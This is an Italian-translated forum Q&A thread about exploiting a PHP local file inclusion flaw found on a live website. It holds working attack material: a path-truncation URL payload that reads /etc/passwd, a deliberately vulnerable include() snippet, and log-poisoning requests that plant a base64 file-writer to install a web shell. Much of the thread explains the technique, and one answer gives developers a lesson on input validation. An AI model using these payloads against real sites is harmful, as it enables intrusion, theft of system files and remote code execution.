it-swarm.dev

Come posso usare questo percorso bypass / exploit Inclusione di file locale?

Ho provato a eseguire uno script di scansione delle vulnerabilità (Uniscan 6.0) su alcuni siti Web e quindi ho trovato un sito che è sfruttabile con questo percorso seguente. (inclusa una parola "non valida", i parametri/il sito Web sono entrambi censurati)

http://www.website.com/index.php?param1=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.&param2=value&param3=value

Per il mio prossimo passo, voglio davvero capire cosa succede esattamente, quindi sto cercando di sfruttarlo manualmente. (Ho dato un'occhiata ad alcuni tutorial su LFI)

  1. ../../../../../../../../../../../../../../../etc/passwd& .. .
  2. invalido ../../../../../../../../../../../../../../../ etc/passwd &. ..
  3. ../../../../../../../../../../../../../../../etc/passwd%00& ...
  4. ../../../../../../../../../../../../../../../etc/passwd/. /./& ...
  5. ../../../../../../../../../../../../../../../etc/passwd%00 /. /. /% ...

ma non hanno funzionato tranne il primo lunghissimo percorso, cosa sta succedendo?

Quale codice php dovrei usare? E come quel lungo percorso potrebbe aggirare quel vulnerabile codice php?

Le seguenti informazioni possono essere utili.

< HTTP/1.1 200 OK
< Date: Thu, 19 Jul 2012 19:46:03 GMT
< Server: Apache/2.2.3 (CentOS)
< X-Powered-By: PHP/5.1.6
< Set-Cookie: PHPSESSID=[blah-blah]; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 2094
< Content-Type: text/html
30
Smile.Hunter

Affascinante! @catalyze ha trovato una situazione davvero affascinante e incantevole qui. Volevo prendere il tempo per riassumere cosa sta succedendo qui, su questo sito. (Crediti completi per @catalyze e Francesco "ascii" Ongaro; sto solo riassumendo ciò che hanno spiegato.)

Riepilogo. Questo non è un attacco LFI quotidiano. Invece, questo è qualcosa di più insolito e intelligente. Qui abbiamo una vulnerabilità che non può essere sfruttata attraverso i metodi LFI standard; hai bisogno di più delicatezza per capire come sfruttarlo.

Background. Per prima cosa, devo dirti due fatti sulla gestione dei file di PHP che sono stati scoperti da Francesco "ascii" Ongaro e altri:

  • Fatto 1. È possibile aggiungere elementi alla fine di un nome file. Tutti sanno che /./etc/passwd È solo un altro modo per fare riferimento al file /etc/passwd. Ma qui ce ne sono alcuni che potresti non conoscere.

    Su PHP, si scopre che /etc/passwd/ Si riferisce anche al file /etc/passwd: Le barre finali vengono rimosse. Selvaggio, eh? Questo non funziona su Unix di base, quindi è un po 'sorprendente che PHP accetterebbe un tale nome di file, ma sembra che PHP si stia rimuovendo barre finali prima di aprire il file.

    Puoi aggiungere qualsiasi numero di barre finali: /etc/passwd//// È anche OK.

    E puoi aggiungere ./ (Tutte le volte che vuoi). Ad esempio, /etc/passwd/., /etc/passwd/./ E /etc/passwd/././. Si riferiscono tutti a /etc/passwd. Andare fuori di testa! PHP non importa.

  • Fatto 2. I percorsi lunghi vengono troncati. Nella maggior parte dei casi PHP, se il nome file è più lungo di 4096 byte, verrà troncato silenziosamente e tutto dopo i primi 4096 byte verrà scartato. Nessun errore viene attivato: i caratteri in eccesso vengono semplicemente eliminati e PHP continua felicemente.

L'attacco. Ora sono pronto a descrivere l'attacco. Ti mostrerò il codice vulnerabile, perché gli attacchi LFI standard non funzionano e come creare un attacco più intelligente che funzioni. Il risultato spiega cosa ha visto @catalyze nel suo pentest.

Il codice vulnerabile. Supponiamo di avere un codice simile a questo:

<?php
include("includes/".$_GET['param1'].".php");
?>

Sembra che la vulnerabilità di un file locale includa (LFI), giusto? Ma la situazione è in realtà un po 'più complicata di quanto possa sembrare a prima vista. Per capire perché, diamo un'occhiata ad alcuni attacchi.

Attacchi standard. Il modo standard e ingenuo per provare a sfruttare questa vulnerabilità di LFI è fornire un parametro simile a ?param1=../../../../var/www/shared/badguy/evil. Il precedente PHP tenterà quindi di includere il file includes/../../../../var/www/shared/badguy/evil.php. Se assumiamo che il file /var/www/shared/badguy/evil.php Esista e sia controllato dall'aggressore, allora questo attacco riuscirà a far sì che l'applicazione esegua codice dannoso scelto dall'autore dell'attacco.

Ma questo funziona solo se l'attaccante può introdurre un file con contenuti di sua scelta nel filesystem, con un nome file che termina in .php. Cosa succede se l'attaccante non controlla alcun file sul filesystem che termina con .php? Bene, quindi, gli attacchi standard falliranno. Indipendentemente dal valore del parametro fornito dall'aggressore, questo aprirà solo un nome file che termina con l'estensione .php.

n attacco più sofisticato. Con i fatti di base aggiuntivi che ti ho dato in precedenza, forse puoi vedere come inventare un attacco più sofisticato che sconfigge questa limitazione.

Fondamentalmente, l'attaccante sceglie un valore di parametro molto lungo, in modo che il nome file costruito sia più lungo di 4096 byte. Quando il nome file viene troncato, l'estensione .php Verrà eliminata. E se l'attaccante può organizzare che il nome file risultante faccia riferimento a un file esistente sul filesystem, l'attaccante è buono.

Ora questo potrebbe sembrare un attacco inverosimile. Quali sono le probabilità che possiamo trovare un nome file sul filesystem il cui percorso completo è lungo esattamente 4096 byte? Forse non così buono?

È qui che entrano in gioco i fatti di fondo. L'attaccante può inviare una richiesta con ?param1=../../../../etc/passwd/./././././<...> (Con il modello ./ Ripetuto molte migliaia di volte). Ora guarda quale nome di file viene incluso, dopo che il prefisso è stato anteposto e viene aggiunta l'estensione del file .php: Sarà simile a includes/../../../../etc/passwd/./././././<...>.php. Questo nome file sarà più lungo di 4096 byte, quindi verrà troncato. Il troncamento eliminerà l'estensione del file e ci lascerà con un nome file nel formato includes/../../../../etc/passwd/./././././<...>. E, grazie al modo PHP gestisce le barre finali e le sequenze finali ./, Tutta quella roba alla fine verrà ignorata. In altre parole, questo nome file sarà trattato da = PHP equivalente al percorso includes/../../../../etc/passwd. Quindi PHP proverà a leggere dal file della password, e quando trova PHP errori di sintassi lì, potrebbe scaricare il contenuto del file della password in una pagina di errore - rivelando informazioni segrete a un utente malintenzionato.

Quindi questa tecnica consente di sfruttare alcune vulnerabilità che altrimenti non potrebbero essere sfruttate con metodi standard. Consulta le pagine a cui @catalyze si collega per una discussione più dettagliata e molti altri esempi.

Questo spiega anche perché @catalyze non è stato in grado di sfruttare l'attacco inviando qualcosa come ?param1=../../../../etc/passwd: È stata aggiunta un'estensione .php E il file /etc/passwd.php Non esisteva, quindi l'attacco fallì.

Riepilogo. Le peculiarità nella gestione dei percorsi dei file da parte di PHP consentono ogni sorta di sottili attacchi alle vulnerabilità che altrimenti sembrerebbero inesplicabili. Per i pentesteri, vale la pena conoscere queste tecniche di attacco.

Per gli sviluppatori, la lezione è la stessa: convalida i tuoi input; non fidarti degli input forniti dall'aggressore; conoscere le classiche vulnerabilità del Web e non inserirle nel codice.

33
D.W.

Finalmente ho trovato la soluzione!

Le tecniche di bypass di questo LFI sono chiamate Attacco di troncamento del percorso

Scenario:

  • Nessuna lista bianca/nera, open_base_dir o qualsiasi configurazione di accesso limitato
  • Esiste null_tes di magic_quotes poiché addlash () viene chiamato implicitamente su tutti gli input GPC e SERVER. (in questo caso etc/passwd%00 potrebbe diventare etc/passwd\0, quindi non può essere valutato come file corretto.)
  • include_path (entro php.ini ) contiene almeno uno percorso assoluto per attivare una parte del complesso vulnerabile nel codice sorgente di PHP (ad esempio, include_path = ".:/usr/share/php" )
  • PHP <? (Chi lo sa?)

Carico utile:

  • Deve iniziare con una directory inesistente
  • Continua con la slitta trasversale, indica il percorso da includere
  • Termina con la slitta di normalizzazione/troncamento.

Le persone intelligenti sono qui ..

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/

http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

7
Smile.Hunter

Risponderò a questa domanda con l'avvertenza che sto assumendo che questo sia usato per scopi legali e solo per la ricerca sulla sicurezza.

Se stiamo parlando di un PHP, questo è probabilmente ciò che sta accadendo nel backend:

$file = fopen($_GET["param"], "r");
/* Do some operation on the file handler, like maybe read the file and output it */
$contents = fread($file, $size);
print $contents

Potresti potenzialmente sfruttare questo LFI per caricare la tua webshell ed eseguire i comandi di sistema sulla web Shell. Il modo più semplice per farlo è iniettare in access.log e accedere a access.log. Il modo più semplice per farlo è modificare l'agente utente, o forse anche la richiesta GET, per includere alcuni PHP che ti aiuterebbe a impostare uno stager. Ad esempio, un telnet nel sito Web e la seguente richiesta, deve essere iniettata in access.log:

GET/ <?php phpinfo() ?>

Ovviamente, tutto ciò che farà è ottenere il PHP Informazioni da access.log, ma ottieni l'idea. Ora, sulle stesse linee, potresti facilmente fare qualcosa del tipo:

GET/ <?php data = $_REQUEST['data']; $filename = $_REQUEST['filename']; file_put_contents($filename,base64_decode($data)); ?>

e poi carica uno script base64 codificato PHP in esso, e porta la tua shell Web lassù. Lascerò a te capire il resto, non dovrebbe essere difficile Esiste un tutorial in più parti per questo su Kaotic Creations che dovresti davvero leggere, se sei interessato a saperne di più su questo.

5